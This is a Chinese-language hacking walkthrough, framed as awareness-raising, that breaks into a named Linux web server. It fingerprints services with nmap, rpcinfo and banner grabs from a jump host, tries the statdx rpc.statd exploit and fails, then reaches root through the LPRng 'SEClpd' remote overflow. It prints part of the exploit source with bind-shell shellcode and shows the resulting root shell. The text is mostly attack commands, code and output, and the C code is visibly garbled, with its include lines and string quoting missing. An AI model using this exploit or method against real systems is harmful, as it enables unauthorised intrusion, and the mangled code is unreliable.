此文的目的不在于教人入侵,而是为了提高自身的技术和加强网络管理员的安全防范意识。仅此而已!粗心大意的网络管理员应该明白:由于你们一个小小的操作失误可能会导致整个网络全面沦陷!本文主要是围绕LPD:网络打印服务的攻击而进行的。
首先确定目标,假设是:www.XXX.com
先让俺看看是不是连得上:
C:\pingwww.XXX.com
Pingingwww.XXX.com[202.106.184.200]with32bytesofdata:
Replyfrom202.106.184.200:bytes=32time=541msTTL=244
Replyfrom202.106.184.200:bytes=32time=620msTTL=244
Replyfrom202.106.184.200:bytes=32time=651msTTL=244
Replyfrom202.106.184.200:bytes=32time=511msTTL=244
Pingstatisticsfor202.106.184.200:
Packets:Sent=4,Received=4,Lost=0(0%loss),
Approximateroundtriptimesinmilli-seconds:
Minimum=511ms,Maximum=651ms,Average=580ms
嘻嘻—不但连得上,速度还不错……
先telnet看看banner:
C:\telnet www.XXX.com
遗失对主机的连接。
再试试ftp,
C:\ftp www.XXX.com
Connected to www.fbi.gov.tw.
220 XXX-www FTP server (Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000) ready.
User (www.XXX.com:(none)):
wu-2.6.1看来有点眉目了。这台机器像是RedHat7.0!首先必须确认一下,连上俺的跳板:
C:\telnetxxx.xxx.xxx.xxx
RedHatLinuxrelease7.0(Guinness)
Kernel2.2.16-22smponani686
login:fetdog
Password:
bash-2.04$
拿nmap扫描器,看看其中的奥妙~~~
bash-2.04$nmap-sT-Owww.XXX.com
StartingnmapV.2.54BETA7(www.insecure.org/nmap/ )
WARNING!Thefollowingfilesexistandarereadable:/usr/local/sha
-servicesand./nmap-services.Iamchoosing/usr/local/share/nmap/
sforsecurityreasons.setNMAPDIR=.togiveprioritytofilesin
irectory
Interestingportson(www.XXX.com):
(The1520portsscannedbutnotshownbelowareinstate:closed)
PortStateService
25/tcpopensmtp
79/tcpopenfinger
80/tcpopenhttp
111/tcpopensunrpc
113/tcpopenauth
443/tcpopenhttps
513/tcpopenlogin
514/tcpopenshell
515/tcpopenprinter
587/tcpopensubmission
1024/tcpopenkdm
TCPSequencePrediction:Class=randompositiveincrements
Difficulty=3247917(Goodluck!)
Remoteoperatingsystemguess:Linux2.1.122-2.2.16
Nmapruncompleted--1IPaddress(1hostup)scannedin9seconds
打开的端口还挺多,这意味着入侵的可能性增加。79/tcpopenfinger ,先看看这个,不过linux没有finger用户列表这个漏洞。
bash-2.04$finger @www.XXX.com
[www.XXX.com]
No one logged on.
再看看111/tcpopensunrpc 。近来rpc漏洞风行,不知道RH7这个东东会不会有?先看看再说!
bash-2.04$rpcinfo-pwww.XXX.com
programversprotoportservice
1000002tcp111rpcbind
1000002udp111rpcbind
1000211udp1024nlockmgr
1000213udp1024nlockmgr
1000241udp1025status
1000241tcp1024status
看来有rpc.statd服务。来看看能不能远程溢出拿个rootshell。
bash-2.04$./statdx-h
statdxbyron1n
Usage:stat[-t][-pport][-aaddr][-llen]
[-ooffset][-wnum][-ssecs][-dtype]
-tattackatcpdispatcher[udp]
-prpc.statdservesrequestson[query]
-athestackaddressofthebufferis
-lthelengthofthebufferis[1024]
-otheoffsettoreturntois[600]
-wthenumberofdwordstowipeis[9]
-ssettimeoutinsecondsto[5]
-duseahardcoded
Availabletypes:
0Redhat6.2(nfs-utils-0.1.6-2)
1Redhat6.1(knfsd-1.4.7-7)
2Redhat6.0(knfsd-1.2.2-4)
看来并不支持RH7。还是继续尝试,把0-2全部试试看再说!start……
bash-2.04$stat-d0www.XXX.com
buffer:0xbffff314length:999(+str/+nul)
target:0xbffff718new:0xbffff56c(offset:600)
wiping9dwords
Failed-statdreturnedres_stat:(failure)state:21
受挫,再试……
bash-2.04$stat-d1www.XXX.com
buffer:0xbffff314length:999(+str/+nul)
target:0xbffff718new:0xbffff56c(offset:600)
wiping9dwords
Failed-statdreturnedres_stat:(failure)state:21
一样!继续……
bash-2.04$stat-d1www.XXX.com
buffer:0xbffff314length:999(+str/+nul)
target:0xbffff718new:0xbffff56c(offset:600)
wiping9dwords
Failed-statdreturnedres_stat:(failure)state:21
rpc.statd行不通,想想RH7应该有个远程溢出,好像是lp服务造成的。“seclpd.c”应该是这个东东了。
—————以下代码仅供教学使用,决不能用来进行恶意攻击—————
/*
*Welcometohttp://hlc.cnroot.com/
*Run:./SEClpdvictimbrute-ttype
*Tryfirst./SEClpdvictim-t0thentrythebrute.
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#defineADDRESS_BUFFER_SIZE32+4
#defineAPPEND_BUFFER_SIZE52
#defineFORMAT_LENGTH512-8
#defineNOPCOUNT200
#defineSHELLCODE_COUNT1030
#defineDELAY50000/*usecs*/
#defineOFFSET_LIMIT5000
charshellcode[]=
\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80
\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8
\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89
\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0
\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd
\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9
\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75
\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08
\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh;
brute暴力破解。等上5-8分钟左右,结果出来了。
-[+]shelllocatedonwww.XXX.com
-[+]EnterCommandsatwill
LinuxXXX.WWW2.2.16-22smp#1SMPTueAug2216:39:21EDT2000i686unknown
uid=0(root)gid=7(lp)
uid=0(root权限),现在可以近一步入侵!但不要做坏事! |